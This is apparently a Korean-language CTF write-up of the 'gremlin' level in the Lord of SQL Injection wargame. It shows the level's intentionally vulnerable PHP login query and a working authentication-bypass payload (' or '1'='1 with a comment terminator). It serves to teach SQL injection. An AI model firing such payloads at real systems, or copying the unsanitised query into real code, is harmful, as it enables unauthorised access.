Contents #
Problem Description and Analysis #
본 문제는 다음과 같이 제시된다[1]:
1<?php
2 include "./config.php";
3 login_chk();
4 $db = dbconnect();
5 if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
6 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
7 $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
8 echo "<hr>query : <strong>{$query}</strong><hr><br>";
9 $result = @mysqli_fetch_array(mysqli_query($db,$query));
10 if($result['id']) solve("gremlin");
11 highlight_file(__FILE__);
12?>
제시된 문제를 읽어보면 id와 pw parameters를 입력받아서 구성된 $query를 실행한 결과, id field에 값이 있다면 풀리는 것임을 알 수 있다. 이때 주어진 테이블에서 id field가 어떤 형식의 값을 가지는 지 모르기 때문에 테이블에 존재하는 모든 record를 가져오는 query를 구성하여 풀 수 있다.
Exploit #
SQLi를 위한 id와 pw parameters의 값은 각각 다음과 같다:
id=1'%20or'1'='1'%23
pw=haha
References #
- "gremlin," LORD OF SQL INJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 04, 2024].